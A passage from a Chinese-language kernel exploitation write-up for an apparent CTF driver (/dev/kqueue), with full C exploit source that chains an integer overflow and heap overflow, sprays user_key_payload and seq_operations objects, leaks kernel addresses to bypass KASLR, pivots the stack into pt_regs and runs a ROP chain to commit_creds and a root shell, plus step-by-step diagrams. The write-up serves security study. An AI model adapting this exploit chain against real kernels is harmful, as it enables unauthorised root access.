    • 此处关键是将RCX设置为0,确保后续rep movsq指令不执行实际内存复制操作
    • 同时清理RBX和RBP寄存器,为后续操作准备干净的寄存器环境
    • ret指令从R10位置弹出移动指令地址到RIP
  4. 凭证指针传递阶段
    • 执行mov_rdi_rax_rep_movsq_rdi_rsi_ret指令序列
    • 此序列将RAX寄存器中的凭证指针移动到RDI寄存器
    • 由于RCX=0,rep movsq指令不执行实际的内存复制操作
    • 这确保了RDI中的凭证指针不会被破坏,保持完整性
    • ret指令从R9位置弹出commit_creds地址到RIP
  5. 权限应用阶段
    • 执行commit_creds(rdi),将RDI寄存器中的凭证指针应用到当前进程
    • 函数完成权限提升操作
    • 返回地址指向R8位置,执行状态恢复函数
  6. 状态恢复阶段
    • 执行swapgs_restore_regs_and_return_to_usermode
    • 交换GS寄存器,从内核GS切换为用户GS
    • 从栈中恢复用户态寄存器值
    • 通过iretq指令返回用户态,同时恢复RIP、CS、RFLAGS、RSP、SS

关键数学计算: 栈迁移的精确性基于以下计算:

  • 初始偏移:RSP距离pt_regs的R15位置 = 0xe0
  • 栈迁移后:0xe0 - 0xd0 = 0x10
  • 两次pop后:0x10 - 0x8 - 0x8 = 0x0
  • ret执行时:栈指针指向R15位置

ROP链的执行基于pt_regs中寄存器值的精心布局,每个寄存器在pt_regs结构中的位置决定了控制流的转移顺序。通过这种设计,实现了从栈迁移到权限提升的完整控制流转移。

3-4. 权限验证

权限检查机制: 控制流返回用户态后,通过系统调用检查当前进程的权限状态,确认权限提升是否成功。关键的检查点包括用户ID、有效用户ID、组ID和有效组ID。

if (!getuid()) {
    get_root_shell();
}

交互式环境启动: 权限验证成功后,启动新的交互式环境,提供完整的系统访问能力。通过system("/bin/sh")调用启动具有提升权限的交互环境。

3-5. 技术总结

本实战演练展示了从环境准备到权限验证的完整技术演示链,涉及整数溢出漏洞、堆缓冲区溢出、内存布局控制、栈迁移技术和ROP链构造等多个关键技术点。技术演示过程首先通过整数溢出创建异常内存结构,然后通过堆溢出修改相邻结构体的函数指针,接着通过系统调用触发被修改的函数指针,执行精心计算的栈迁移指令将控制流转移到pt_regs结构区域,最后通过预设的ROP链实现权限提升。

4. 测试结果

5. 进阶分析:user_key_payload结构利用

exploit核心代码如下:

/* Kernel symbol addresses */
#define SINGLE_START 0xffffffff812112b0
#define COMMIT_CREDS 0xffffffff8108e530
#define PREPARE_KERNEL_CRED 0xffffffff8108e950
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00df0
#define ADD_RSP_0XD0_POP_RBX_POP_RBP_RET 0xffffffff8126eb5f
#define POP_RDI_RET 0xffffffff81001729
#define POP_RCX_POP_RBX_POP_RBP_RET 0xffffffff811f2005
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff81b2c10b

/* Exploit configuration */
#define KEY_SPRAY_COUNT 199
#define SEQ_SPRAY_COUNT 512
#define PAYLOAD_SIZE 0x2000
#define DATA_INDEX_DATALEN 6
#define DATA_INDEX_STACK_PIVOT 4
#define KEY_PAYLOAD_DATA_SIZE (0x20 - 0x18)
#define PROC_STAT_PATH "/proc/self/stat"

/* Driver request structure */
typedef struct {
  uint32_t max_entries;
  uint16_t data_size;
  uint16_t entry_idx;
  uint16_t queue_idx;
  char *data;
} request_t;

/* Global variables */
static int dev_fd;
static int victim_fd;
static int seq_fd[SEQ_SPRAY_COUNT];
static int key_ids[KEY_SPRAY_COUNT];
static size_t data[0x20] = {0};
static char desc[0x100] = {0};
static size_t *payload;

/* ROP gadget addresses */
static size_t commit_creds;
static size_t prepare_kernel_cred;
static size_t swapgs_restore_regs_and_return_to_usermode;
static size_t add_rsp_0Xd0_pop_rbx_pop_rbp_ret;
static size_t pop_rdi_ret;
static size_t pop_rcx_pop_rbx_pop_rbp_ret;
static size_t mov_rdi_rax_rep_movsq_rdi_rsi_ret;

/* Device operation functions */
static void create_queue(uint32_t max_entries, uint16_t data_size) {
  request_t req = {.max_entries = max_entries, .data_size = data_size};
  ioctl(dev_fd, 0xDEADC0DE, &req);
}

static void edit_queue(uint16_t queue_idx, uint16_t entry_idx, void *data) {
  request_t req = {
      .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};
  ioctl(dev_fd, 0xDAADEEEE, &req);
}

static void delete_queue(uint16_t queue_idx) {
  request_t req = {.queue_idx = queue_idx};
  ioctl(dev_fd, 0xBADDCAFE, &req);
}

static void save_queue(uint16_t queue_idx, uint32_t max_entries,
                       uint16_t data_size) {
  request_t req = {.queue_idx = queue_idx,
                   .max_entries = max_entries,
                   .data_size = data_size};
  ioctl(dev_fd, 0xB105BABE, &req);
}

/* Heap spraying functions */
static int spray_seq_operations(int start_idx, int end_idx) {
  for (int i = start_idx; i < end_idx; i++) {
    seq_fd[i] = open(PROC_STAT_PATH, O_RDONLY);
    if (seq_fd[i] < 0) {
      log.error("Failed to open " PROC_STAT_PATH " at index %d", i);
      return -1;
    }
  }
  return 0;
}

static int spray_user_keys(int count) {
  for (int i = 0; i < count; i++) {
    snprintf(desc, sizeof(desc), "BinRacer%d", i);
    key_ids[i] = key_alloc(desc, payload, KEY_PAYLOAD_DATA_SIZE);
    if (key_ids[i] < 0) {
      log.error("Failed to allocate key %d", i);
      return -1;
    }
  }
  return 0;
}

/* Kernel address leak function */
static ssize_t leak_kernel_address(void) {
  for (int i = 0; i < PAYLOAD_SIZE / sizeof(size_t); i++) {
    if (payload[i] > kernel_base &&
        (payload[i] & 0xfff) == (SINGLE_START & 0xfff)) {
      log.success("Leaked single_start: 0x%lx", payload[i]);
      return payload[i] - SINGLE_START;
    }
  }
  return -1;
}

/* Exploit trigger function */
static void trigger_exploit_chain(void) {
  __asm__ volatile("mov r15,   pop_rdi_ret;"
                   "mov r14,   0;"
                   "mov r13,   prepare_kernel_cred;"
                   "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;"
                   "mov rbp,   0;"
                   "mov rbx,   0x55555555;"
                   "mov r11,   0x66666666;"
                   "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;"
                   "mov r9,    commit_creds;"
                   "mov r8,    swapgs_restore_regs_and_return_to_usermode;"
                   "xor rax,   rax;"
                   "mov rcx,   0xaaaaaaaa;"
                   "mov rdx,   8;"
                   "lea rsi,   data;"
                   "mov rdi,   victim_fd;"
                   "syscall");
}

int main(void) {
  /* Phase 1: Environment initialization */
  log.info("Phase 1: Setting up exploit environment");
  bind_core(0);
  save_status();

  memset(desc, 'A', sizeof(desc));
  payload = (size_t *)malloc(PAYLOAD_SIZE);
  if (!payload) {
    log.error("Failed to allocate payload buffer");
    exit(EXIT_FAILURE);
  }
  log.success("Payload buffer allocated at 0x%lx", (size_t)payload);

  /* Phase 2: Open vulnerable device */
  log.info("Phase 2: Opening vulnerable device /dev/kqueue");
  dev_fd = open("/dev/kqueue", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/kqueue");
    exit(EXIT_FAILURE);
  }

  /* Phase 3: Prepare heap overflow data */
  log.info("Phase 3: Constructing heap overflow data");
  data[DATA_INDEX_DATALEN] =
      PAYLOAD_SIZE; /* Target user_key_payload->datalen */
  log.success("Set data[%d] = 0x%lx (target datalen)", DATA_INDEX_DATALEN,
              data[DATA_INDEX_DATALEN]);

  /* Phase 4: Create vulnerable kernel queue object */
  log.info("Phase 4: Creating vulnerable kernel queue object");
  create_queue(0xffffffff, 0x20 * 8);
  edit_queue(0, 0, data);
  log.success("Kernel queue created with overflow data prepared");

  /* Phase 5: Spray user_key_payload objects */
  log.info("Phase 5: Spraying user_key_payload objects");
  if (spray_user_keys(KEY_SPRAY_COUNT) < 0) {
    exit(EXIT_FAILURE);
  }
  log.success("Sprayed %d user_key_payload objects", KEY_SPRAY_COUNT);

  /* Phase 6: Trigger heap overflow to corrupt user_key_payload */
  log.info("Phase 6: Triggering heap overflow to corrupt user_key_payload");
  save_queue(0, 0, 0x38);
  log.success("Heap overflow triggered, user_key_payload->datalen corrupted");

  /* Phase 7: Spray seq_operations objects */
  log.info("Phase 7: Spraying seq_operations objects via " PROC_STAT_PATH);
  if (spray_seq_operations(0, SEQ_SPRAY_COUNT) < 0) {
    exit(EXIT_FAILURE);
  }
  log.success("Sprayed %d seq_operations objects", SEQ_SPRAY_COUNT);

  /* Phase 8: Locate corrupted user_key_payload and leak kernel address */
  log.info("Phase 8: Locating corrupted user_key_payload and leaking kernel "
           "address");
  int victim_key_idx = -1;
  for (int i = 0; i < KEY_SPRAY_COUNT; i++) {
    if (key_read(key_ids[i], payload, PAYLOAD_SIZE) > 8) {
      victim_key_idx = i;
      log.success("Found corrupted key at index %d", i);
      break;
    }
  }
  if (victim_key_idx == -1) {
    log.error("Failed to locate corrupted user_key_payload");
    exit(EXIT_FAILURE);
  }

  kernel_offset = leak_kernel_address();
  if (kernel_offset == -1) {
    log.error("Failed to leak kernel address");
    exit(EXIT_FAILURE);
  }
  kernel_base += kernel_offset;
  log.success("Kernel base: 0x%lx, offset: 0x%lx", kernel_base, kernel_offset);

  /* Phase 9: Calculate ROP gadget addresses */
  log.info("Phase 9: Calculating ROP gadget addresses");
  prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
  commit_creds = kernel_offset + COMMIT_CREDS;
  swapgs_restore_regs_and_return_to_usermode =
      kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x1e;
  pop_rdi_ret = kernel_offset + POP_RDI_RET;
  pop_rcx_pop_rbx_pop_rbp_ret = kernel_offset + POP_RCX_POP_RBX_POP_RBP_RET;
  mov_rdi_rax_rep_movsq_rdi_rsi_ret =
      kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET;
  add_rsp_0Xd0_pop_rbx_pop_rbp_ret =
      kernel_offset + ADD_RSP_0XD0_POP_RBX_POP_RBP_RET;

  /* Phase 10: Set up stack pivot gadget */
  log.info("Phase 10: Setting up stack pivot gadget");
  data[DATA_INDEX_STACK_PIVOT] = add_rsp_0Xd0_pop_rbx_pop_rbp_ret;
  edit_queue(0, 0, data);
  save_queue(0, 0, 0x28);
  log.success("Stack pivot gadget placed at data[%d]", DATA_INDEX_STACK_PIVOT);

  /* Phase 11: Trigger exploit chain via fork race */
  log.info(
      "Phase 11: Triggering corrupted seq_operations->start via fork race");
  for (int i = 0; i < SEQ_SPRAY_COUNT; i++) {
    victim_fd = seq_fd[i];
    int pid = fork();
    if (pid < 0) {
      exit(EXIT_FAILURE);
    }
    if (pid == 0) {
      trigger_exploit_chain();
      if (getuid() == 0) {
        get_root_shell();
      }
      exit(EXIT_SUCCESS);
    }
  }

  /* Wait for child processes to complete */
  while (wait(NULL) > 0)
    ;
  log.error("Exploit failed to obtain root privileges");
  return EXIT_FAILURE;
}

前述技术路径展示了通过堆溢出直接修改seq_operations的函数指针以实现控制流转移的直接方法。作为一种功能更为全面的替代方案,演示程序构建了一条从信息泄露到控制流转移的完整技术链。该链通过分阶段、有策略地运用同一堆溢出漏洞,先后影响user_key_payloadseq_operations两种关键结构体,实现了信息泄露与代码执行的组合操作。此路径的核心创新在于将单一的“写”漏洞转化为“先读后写”的复合能力,从而能够应对更严格的内核防护环境(如开启KASLR)。

5-1. 技术链总览与流程图

该技术链将操作过程清晰地划分为十一个逻辑阶段,其目标与操作环环相扣。整个过程体现了“准备-破坏-泄露-再准备-再破坏-执行”的递进式技术思想。下图展示了各阶段之间的逻辑关系、数据流向及核心目标:

graph TD
    A["阶段1: 环境初始化<br>分配payload缓冲区"] --> B["阶段2: 打开漏洞设备<br>获取/dev/kqueue句柄"]
    B --> C["阶段3: 准备堆溢出数据<br>设置datalen=0x2000"]
    C --> D["阶段4: 创建异常队列对象<br>触发整数溢出,queue_size=32"]
    D --> E["阶段5: 堆喷 user_key_payload<br>在kmalloc-32中布置目标结构 (199个)"]
    E --> F["阶段6: 触发溢出污染datalen<br>通过save(…, 0x38)覆盖相邻key->datalen"]
    F --> G["阶段7: 堆喷 seq_operations<br>布置第二阶段目标并填充内核指针 (512个)"]
    G --> H["阶段8: 定位污染密钥并泄露内核地址<br>key_read越界读,解析single_start指针"]
    H --> I["阶段9: 计算ROP gadget地址<br>基于泄露的基址计算所有gadget运行时地址"]
    I --> J["阶段10: 二次溢出与栈迁移设置<br>save(…, 0x28)覆盖seq_ops->start为栈迁移gadget"]
    J --> K["阶段11: 触发竞争执行ROP链<br>fork+read触发修改指针,执行commit(root cred)提权"]

    style A fill:#f9f,stroke:#333
    style H fill:#bbf,stroke:#333
    style K fill:#bfb,stroke:#333

    subgraph "第一阶段:制造信息泄露原语"
        E --> F --> G --> H
    end

    subgraph "第二阶段:实现控制流转移"
        I --> J --> K
    end

    H -- "计算出的内核镜像基址" --> I

5-2. 堆溢出操作的内存影响分析

为了理解堆溢出操作的基本原理,首先分析在理想化线性布局下内存状态的变化。在Linux内核的kmalloc-32缓存中,内存按照32字节的块进行管理。考虑以下简化的连续内存布局场景:

溢出前内存布局(理想化线性模型):

+----------------+ 0x00-0x1F: new_queue缓冲区 (32字节)
+----------------+ 0x20-0x3F: 目标结构体A (user_key_payload)
+----------------+ 0x40-0x5F: 目标结构体B (seq_operations)

溢出操作: 当调用__copy_from_user(new_queue, source, 40)时,驱动程序试图从用户空间复制40字节数据到new_queue缓冲区。由于new_queue的大小仅为32字节,这导致了8字节的数据溢出:

溢出后内存布局(理想化模型):

+----------------+ 0x00-0x1F: new_queue填充数据
+----------------+ 0x20-0x27: 结构体A前8字节被覆盖
+----------------+ 0x28-0x3F: 结构体A剩余24字节
+----------------+ 0x40-0x5F: 结构体B(未受影响)

在这个模型中,溢出数据精准地覆盖了相邻user_key_payload对象的头部。

5-3. 真实环境下的堆布局复杂性

然而,上述线性相邻模型是一种高度简化的理想情况。在实际的内核环境中,特别是在启用了CONFIG_SLAB_FREELIST_RANDOM等强化配置后,堆分配器的行为要复杂得多。freelist随机化机制会打乱内存块的分配顺序,使得目标结构体在物理内存上通常不是紧密相邻,而是可能被其他无关的内核对象间隔开。

真实环境下的可能内存布局:

+----------------+ 0x00-0x1F: new_queue缓冲区 (32字节)
+----------------+ 0x20-0x3F: 无关内核对象X
+----------------+ 0x40-0x5F: 目标结构体A (user_key_payload)
+----------------+ 0x60-0x7F: 无关内核对象Y
+----------------+ 0x80-0x9F: 目标结构体B (seq_operations)
+----------------+ 0xA0-0xBF: 其他对象...

在这种情况下,一次有限的堆溢出(例如8或24字节)可能无法直接触及预定目标。为了应对这种复杂性,演示程序采用了“堆喷”(Heap Spraying)策略,即批量分配大量目标结构体(如199个user_key_payload和512个seq_operations),从而显著提高至少一个目标结构体落入溢出范围内的统计概率。其核心关系可以表述为:

\[[ P_{\text{命中}} = 1 - (1 - p)^N ]\]

其中,\((P_{\text{命中}})\) 为至少命中一个目标的概率,\((p)\)为单个目标对象与漏洞缓冲区相邻的概率,\((N)\) 为堆喷的数量。当 \((N)\) 足够大时,即使 \((p)\) 很小,\((P_{\text{命中}})\) 也能接近1。这种以数量换取确定性的方法是现代内核漏洞利用中应对随机化防护的常见策略。

5-4. 密钥管理子系统的工作原理

要理解user_key_payload结构的操作,需要先了解Linux密钥管理子系统的工作原理。key_alloc函数通过add_key系统调用创建新密钥,其内核调用流程如下:

graph TB
    A[key_alloc用户调用] --> B[__x64_sys_add_key]
    B --> C[__se_sys_add_key]
    C --> D[__do_sys_add_key]

    D --> E[description分配路径]
    E --> F[key_create_or_update]
    F --> G[key_alloc]
    G --> H["kmemdup(desc, desclen + 1, GFP_KERNEL)"]

    D --> I[payload分配路径]
    I --> J[key_create_or_update]
    J --> K[index_key.type->preparse]
    K --> L[user_preparse]
    L --> M["kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL)"]

    style H fill:#e1f5fe
    style M fill:#c8e6c9

key_read函数通过keyctl系统调用读取密钥负载,其内核调用流程如下:

graph TB
    A[用户空间] --> B[__x64_sys_keyctl]
    B --> C[keyctl_read_key]
    C --> D["kmalloc(buflen, GFP_KERNEL)"]
    D --> E[__keyctl_read_key]
    E --> F["down_read(&key->sem)"]
    F --> G[key_validate]
    G --> H[key->type->read]
    H --> I[user_read]
    I --> J[user_key_payload_locked]
    J --> K[计算实际读取长度]
    K --> L["memcpy(key_data, upayload->data, buflen)"]
    L --> M["up_read(&key->sem)"]
    M --> N[返回user_read]
    N --> O[返回key->type->read]
    O --> P[返回__keyctl_read_key]
    P --> Q[返回keyctl_read_key]
    Q --> R["copy_to_user(user_buffer, key_data, ret)"]
    R --> S["kfree(key_data)"]
    S --> T[返回用户空间]

    style D fill:#e1f5fe
    style F fill:#e3f2fd
    style G fill:#f3e5f5
    style J fill:#e8f5e8
    style L fill:#c8e6c9
    style R fill:#d4edda

5-5. 完整利用阶段详解

阶段一:环境初始化与资源准备

程序首先进行精细化的执行环境配置。通过bind_core(0)系统调用将进程绑定到特定的CPU核心(通常为CPU 0)。这一操作旨在减少SMP(对称多处理)环境下多核并发操作对内核堆分配器行为造成的不可预测性,从而提升堆布局操作的确定性与成功率。随后,程序调用save_status()保存当前进程的运行时状态(如寄存器、打开的文件描述符等)。同时,程序分配一块大小为PAYLOAD_SIZE(0x2000字节)的连续用户空间缓冲区payload。该缓冲区在后续阶段将用于接收从被污染密钥中越界读取的大片内核堆数据,是信息泄露的存储与解析区域。

阶段二:建立与漏洞驱动的通信通道

通过open("/dev/kqueue", O_RDONLY)打开目标漏洞设备。获取到的文件描述符dev_fd是后续所有与驱动交互的ioctl()调用的句柄。此阶段验证了漏洞接口的可达性。

阶段三:构造用于污染datalen的溢出载荷

本阶段准备用于首次溢出的数据模板。程序定义了一个全局数组data,并将其DATA_INDEX_DATALEN索引处(根据上下文,通常为data[6])的值设置为PAYLOAD_SIZE(0x2000)。这个值的设定具有明确目的:当此数据通过溢出覆盖相邻的user_key_payload结构时,旨在精准修改其datalen成员。datalen记录该密钥负载数据的有效长度。将其篡改为一个巨大的值(0x2000),将使内核在后继的KEYCTL_READ操作中误认为该密钥拥有极大的有效数据区,从而允许从该密钥起始地址开始,读取其后0x2000字节的内核内存,由此创造出强大的越界读原语

阶段四:制造异常内存布局的队列对象

调用驱动的CREATE_KQUEUE命令(ioctl(dev_fd, 0xDEADC0DE, &req)),传入精心构造的参数:max_entries = 0xFFFFFFFFdata_size = 0x100。此处触发了驱动中的整数溢出漏洞:max_entries + 1由于32位无符号整数溢出,结果变为0。这导致驱动计算queue_size = sizeof(queue) + (max_entries+1)*sizeof(entry)时,后一项为零,最终queue_size被错误地计算为sizeof(queue),即32字节。随后,程序通过EDIT_KQUEUE命令(ioctl(dev_fd, 0xDAADEEEE, &req))将阶段三准备好的data数组写入此异常队列的data缓冲区。此时,内核中一个仅32字节大小的queue对象,其data指针指向一个用户控制的缓冲区。

阶段五:密集布局user_key_payload目标结构

程序调用spray_user_keys(KEY_SPRAY_COUNT)函数,通过循环执行add_key()系统调用来批量创建用户密钥。每个add_key("BinRacer%d", payload, KEY_PAYLOAD_DATA_SIZE)调用都会在内核的kmalloc-32缓存中分配一个user_key_payload结构体。通过大量(如199次)的密集分配,旨在“占据”kmalloc-32缓存中大部分空闲的0x20大小内存块(Slab)。其核心目的是利用堆分配器的分配特性,使得在阶段四创建的异常queue对象的data缓冲区在物理内存上,有极大概率与至少一个user_key_payload对象紧密相邻。这种“相邻”关系是后续溢出能够精准污染特定结构体的物理基础

阶段六:触发首次溢出,篡改datalen制造读原语

这是实现信息泄露的关键一步。程序调用SAVE_KQUEUE命令(ioctl(dev_fd, 0xB105BABE, &req)),并指定data_size = 0x38(56字节)。驱动处理此请求时:

  1. 基于queue->queue_size(32字节)调用kzalloc()分配new_queue
  2. 从用户空间queue->datanew_queue拷贝56字节。

由于目标缓冲区仅32字节,这将导致24字节的堆缓冲区溢出。如果阶段五的堆布局成功,这溢出的24字节(其开头部分包含了预设的PAYLOAD_SIZE值)将覆盖相邻user_key_payload对象的头部。其中,关键的datalen字段被修改为0x2000

graph LR
    subgraph "溢出前内存布局 (kmalloc-32)"
        A1["new_queue缓冲区<br>32字节"]
        A2["user_key_payload<br>[rcu | datalen=小值 | data]"]
        A3["其他内核对象"]
    end

    subgraph "溢出操作"
        B["__copy_from_user<br>拷贝56字节到32字节缓冲区"]
    end

    subgraph "溢出后内存布局"
        C1["new_queue缓冲区<br>填充数据"]
        C2["user_key_payload<br>[rcu | datalen=0x2000 | data]"]
        C3["其他内核对象"]
    end

    A1 --> B
    A2 --> B
    B --> C1
    B --> C2

    style A2 fill:#ffcccc
    style C2 fill:#ccffcc

阶段七:双重目的堆喷——注入指针与预备目标

程序调用spray_seq_operations(SEQ_SPRAY_COUNT),通过反复open("/proc/self/stat", O_RDONLY)来批量分配seq_operations结构体。此阶段具有双重战略目的:

  1. 为信息泄露填充内容seq_operations结构体包含single_start等函数指针,这些指针指向内核文本段(.text)的固定偏移处。大量分配该结构体,可以使得当通过被污染的密钥执行越界读时,就极有可能读到这些包含内核指针的seq_operations对象,从而泄露内核基址。
  2. 为控制流转移布设靶标:大量存在的seq_operations对象,为后续第二次溢出修改其start函数指针提供了丰富的潜在目标,显著提高了第二次操作的命中率。

阶段八:定位“毒钥”并计算内核基址

程序遍历所有之前分配的key_ids,对每一个调用keyctl(KEYCTL_READ, key_id, payload, PAYLOAD_SIZE)。对于datalen正常的密钥,此调用会失败或仅拷贝少量数据。而对于那个datalen被篡改为0x2000的“受害者密钥”,内核会忠实地从其对象起始地址开始,拷贝其后0x2000字节的内存内容到用户空间缓冲区payload中。

随后,程序在payload缓冲区中线性搜索,寻找其值的低12位(页内偏移)与已知内核符号single_start的低12位相同的size_t值。由于内核代码段的页对齐特性,任何内核函数指针的页内偏移在KASLR启用时也是固定的。因此,一旦找到这样的值,即可通过公式kernel_offset = leaked_address - SINGLE_START计算出实际的KASLR偏移量。进而得到所有内核符号的运行时地址:runtime_address = predefined_symbol_address + kernel_offset。这标志着KASLR防护被完全绕过。

阶段九:动态构建ROP链——计算运行时地址

利用阶段八获得的kernel_offset,程序动态计算出后续利用所需的所有代码片段的实际内存地址。这包括:

  • 权限提升函数prepare_kernel_credcommit_creds
  • 栈迁移指令add_rsp_0xd0_pop_rbx_pop_rbp_ret
  • 寄存器控制gadgetpop_rdi_retpop_rcx_pop_rbx_pop_rbp_retmov_rdi_rax_rep_movsq_rdi_rsi_ret
  • 状态恢复与返回swapgs_restore_regs_and_return_to_usermode

这些地址的计算确保了ROP链在不同KASLR随机化下的可用性。

阶段十:二次溢出——篡改控制流指针

在获得关键gadget地址后,程序将栈迁移gadget的地址赋值给data[DATA_INDEX_STACK_PIVOT](例如data[4]),并通过EDIT_KQUEUE更新驱动内的queue->data。随后,第二次调用SAVE_KQUEUE,但此次指定data_size = 0x28(40字节)。内核再次分配一个32字节的new_queue。由于阶段七的密集堆喷,此次分配有很大概率与某个seq_operations对象相邻。

紧接着的__copy_from_user执行40字节拷贝,导致8字节溢出。这溢出的8字节(即栈迁移gadget的地址)恰好覆盖了相邻seq_operations对象的start函数指针。

graph LR
    subgraph "二次溢出前内存布局"
        D1["new_queue缓冲区<br>32字节"]
        D2["seq_operations<br>[start=0xffff... | next | show | stop]"]
        D3["其他内核对象"]
    end

    subgraph "二次溢出操作"
        E["__copy_from_user<br>拷贝40字节到32字节缓冲区"]
    end

    subgraph "二次溢出后内存布局"
        F1["new_queue缓冲区<br>填充数据"]
        F2["seq_operations<br>[start=栈迁移gadget | next | show | stop]"]
        F3["其他内核对象"]
    end

    D1 --> E
    D2 --> E
    E --> F1
    E --> F2

    style D2 fill:#ffcccc
    style F2 fill:#ccffcc

阶段十一:触发竞争,执行权限提升链

程序通过fork()创建多个子进程,每个子进程尝试对阶段七中打开的某一个seq_fd执行read()系统调用。这是一个典型的竞争触发策略,旨在应对堆布局的不完全确定性。

当某个子进程的read()调用进入内核,并最终通过seq_operations->start函数指针调用single_start()时,控制流会跳转到被篡改的地址,即栈迁移gadget。该gadget(add rsp, 0xd0; pop rbx; pop rbp; ret)将栈指针(RSP)增加0xd0字节。通过精心计算,这个操作使得RSP刚好指向内核栈上保存的系统调用入口现场——pt_regs结构中的某个特定寄存器位置。

随后,通过连续的ret指令,程序开始执行预先通过内联汇编设置在pt_regs各寄存器值中的ROP链:首先将0传入rdi,调用prepare_kernel_cred(0)获得root凭证的指针并存入rax;接着通过mov_rdi_rax等gadget将凭证指针移至rdi,再调用commit_creds(rdi)将凭证应用于当前进程;最后,通过swapgs_restore_regs_and_return_to_usermode gadget执行swapgs指令、恢复用户态寄存器、并通过iretq指令返回用户态。此时,该子进程已获得root权限。父进程通过wait()回收子进程,若检测到有子进程提权成功,则整个技术链宣告完成。

5-6. 堆布局与操作序列的时间线分析

为了更好地理解整个操作过程中堆内存与系统状态的变化,可以从时间维度分析各个阶段的交互序列:

sequenceDiagram
    participant User as 用户空间
    participant KHeap as 内核堆(kmalloc-32)
    participant KDriver as 漏洞驱动
    participant KKey as 密钥子系统
    participant KProc as 进程文件系统

    Note over User,KProc: 阶段1-2: 环境初始化
    User->>User: bind_core(0)<br>malloc(PAYLOAD_SIZE)
    User->>KDriver: open("/dev/kqueue")

    Note over User,KProc: 阶段3-4: 准备溢出载荷
    User->>KDriver: CREATE_KQUEUE(0xffffffff, 0x100)
    KDriver->>KHeap: kzalloc(32) // queue结构
    User->>KDriver: EDIT_KQUEUE(data)

    Note over User,KProc: 阶段5: 堆喷user_key_payload
    loop 199次
        User->>KKey: add_key("BinRacerX", ...)
        KKey->>KHeap: kmalloc(sizeof(user_key_payload))<br>分配32字节
    end

    Note over User,KProc: 阶段6: 触发首次溢出
    User->>KDriver: SAVE_KQUEUE(0, 0, 0x38)
    KDriver->>KHeap: kzalloc(32) // new_queue
    KDriver->>KHeap: 拷贝40字节(溢出8字节)
    KHeap->>KKey: 污染user_key_payload->datalen

    Note over User,KProc: 阶段7: 堆喷seq_operations
    loop 512次
        User->>KProc: open("/proc/self/stat")
        KProc->>KHeap: kmalloc(sizeof(seq_operations))<br>分配32字节
    end

    Note over User,KProc: 阶段8: 信息泄露
    loop 遍历所有密钥
        User->>KKey: keyctl(KEYCTL_READ, key_id)
        KKey->>KHeap: 检查datalen<br>拷贝数据
        KHeap->>User: 返回堆数据(包含内核指针)
    end

    Note over User,KProc: 阶段9-10: 计算gadget并二次溢出
    User->>User: 计算内核基址和gadget地址
    User->>KDriver: EDIT_KQUEUE(更新数据)
    User->>KDriver: SAVE_KQUEUE(0, 0, 0x28)
    KDriver->>KHeap: kzalloc(32) // 另一个new_queue
    KDriver->>KHeap: 拷贝40字节(溢出8字节)
    KHeap->>KProc: 污染seq_operations->start指针

    Note over User,KProc: 阶段11: 触发执行
    User->>User: fork()创建子进程
    User->>KProc: read(seq_fd, ...)
    KProc->>KHeap: 调用被污染的start指针
    KHeap->>KProc: 执行栈迁移gadget
    KProc->>KProc: 执行ROP链<br>commit_creds(prepare_kernel_cred(0))
    KProc->>User: 返回用户态(已是root)

    User->>User: get_root_shell()

5-7. 技术路径对比

特性维度seq_operations 直接路径user_key_payload 组合路径
核心目标直接转移控制流先信息泄露,再转移控制流
技术阶段单阶段:溢出后直接触发双阶段:阶段1泄露地址,阶段2转移控制流
关键技术堆布局、ROP链构造堆布局、越界读原语、地址计算、ROP链构造
对抗防护需预先知晓或绕过KASLR可主动绕过KASLR
结构体角色seq_operations 作为最终跳板user_key_payload 作为读原语;seq_operations 作为跳板
复杂度相对较低较高,需协调两个阶段的堆布局

5-8. 技术总结

本技术链深刻揭示了多个独立问题(整数溢出、堆溢出、验证不严)组合后产生的级联效应。整数溢出创造了异常的小对象分配条件;不充分的验证允许异常状态持续;堆溢出则提供了将特定数据写入相邻内存的能力。这些问题相互配合,共同构成了从内存破坏到信息泄露,再到代码执行的完整路径。本技术链是对复杂内核漏洞条件进行组合利用的一次综合演示。它不仅仅是一个具体漏洞的利用程序,更是一个理解现代Linux内核内存管理机制、各子系统交互细节以及如何绕过层层防护的绝佳研究案例。通过深入分析此类多阶段、多技术的利用链,可以更深刻地理解内核安全的威胁模型,认识到在设计、实现、配置和维护等全生命周期中贯彻深度防御安全原则的极端重要性。

5-9. 测试结果

参考

https://github.com/BinRacer/pwn4kernel/tree/master/src/HeapOverflow2 https://github.com/BinRacer/pwn4kernel/tree/master/src/HeapOverflow3 https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:InCTF2021-Kqueue

文档信息

Search

    Table of Contents